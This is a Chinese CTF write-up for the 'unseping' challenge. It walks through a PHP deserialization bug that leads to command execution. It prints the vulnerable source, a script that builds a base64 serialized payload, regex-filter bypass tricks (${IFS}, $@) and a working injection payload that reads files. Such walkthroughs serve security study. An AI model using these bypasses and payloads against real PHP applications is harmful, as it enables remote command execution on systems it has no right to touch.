nnnd，这道题谁标的难度1！参考文章：江苏工匠杯-unseping&序列化，正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客
这是这道题的源码，一看exec和unserialize就是反序列化和命令执行，还有个正则应该还要绕过
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>简单讲一下call_user_func_array调用回调函数，大概就是这样，网上找的例子，本题中我猜测因为是在魔术方法里面，所以第一个参数array()里面类用伪变量$this替代了
（1）普通使用：
function a($b, $c) {
echo $b;
echo $c;
}
call_user_func_array('a', array("111", "222"));
//输出 111 222
（2）调用类内部的方法：
Class ClassA {
function bc($b, $c) {
$bc = $b + $c;
echo $bc;
}
}
call_user_func_array(array('ClassA','bc'), array("111", "222"));
//输出 333
这个正则表达式解释如下
/: 正则表达式的开始和结束的分隔符。(: 开始一个捕获组，用于将匹配的结果保存在结果数组中。\|: 匹配一个垂直线字符"|"|: 逻辑或操作符，用于匹配多个模式之一。&: 匹配一个和字符"&";: 匹配一个分号字符";"- : 匹配一个空格字符
\/: 匹配一个斜杠字符"/"cat: 匹配字符串"cat"flag: 匹配字符串"flag"tac: 匹配字符串"tac"php: 匹配字符串"php"ls: 匹配字符串"ls"): 结束捕获组。/: 正则表达式的结束符。
综上所述，该正则表达式将匹配字符串中的垂直线字符"|"、和字符"&"、分号字符";"、空格字符、斜杠字符"/"，以及字符串"cat"、"flag"、"tac"、"php"、"ls"。
空格被过滤了，但是我们写命令的时候还需要空格，怎么办？
我只知道一个IFS空格，使用的时候写成${IFS}起到空格的作用。
上网查@是一个特殊变量，使用$@的形式起到空变量的作用，放在字符串中间绕过字符串过滤又不会对原字符串产生影响
魔术方法：
__construct() //创建对象时触发
__wakeup() //执行unserialize()时，先会调用这个函数
okk，到这里差不多读懂代码了，代码流程：将我们的base64编码并且序列化的数据经过post请求发送到PHP文件处理，代码首先接受数据然后base64解码反序列化，又因为wakeup这个魔术方法在反序列化前会被优先调用，所以执行wakeup方法：遍历关联数组args，将每个键对应的值用waf方法进行正则匹配，如果匹配通过后返回原字符串，否则打印hack，由此可以看出args存放的是系统命令这些。然后执行反序列化，对象被重新创建后无调用又被销毁，触发destruct魔术方法:in_array函数内容确定了method值为ping，然后call_user_func_array调用回调函数调用ping函数，将args数组内容作为ping函数的参数，然后exec执行系统命令，结果存到result，var_dump打印类型和值
上面的流程已经说的很详细了，我们先来试试水看看能不能执行命令
别忘了args是数组形式哦！
<?php
class ease
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$object = new ease('ping',array('id'));
$ser = serialize($object);
$ser = base64_encode($ser);
echo $ser;
?>成功执行id命令
接下来看看当前目录下的文件，args传入参数变为array('l$@s')，正则匹配会匹配整个l$@s，但是$@是空变量，最后解析出来还是ls
flag文件是数组的第一个元素
find 查看当前及子目录下的所有文件，我们可以使用cat 直接查看当前目录下的文件内容，不需要再编码来回转了
payload：
array('c$@at${IFS}`find`')，使用反引号是因为会优先执行反引号里面的命令
成功读出flag！不懂多看一下我写的流程思路就明白了
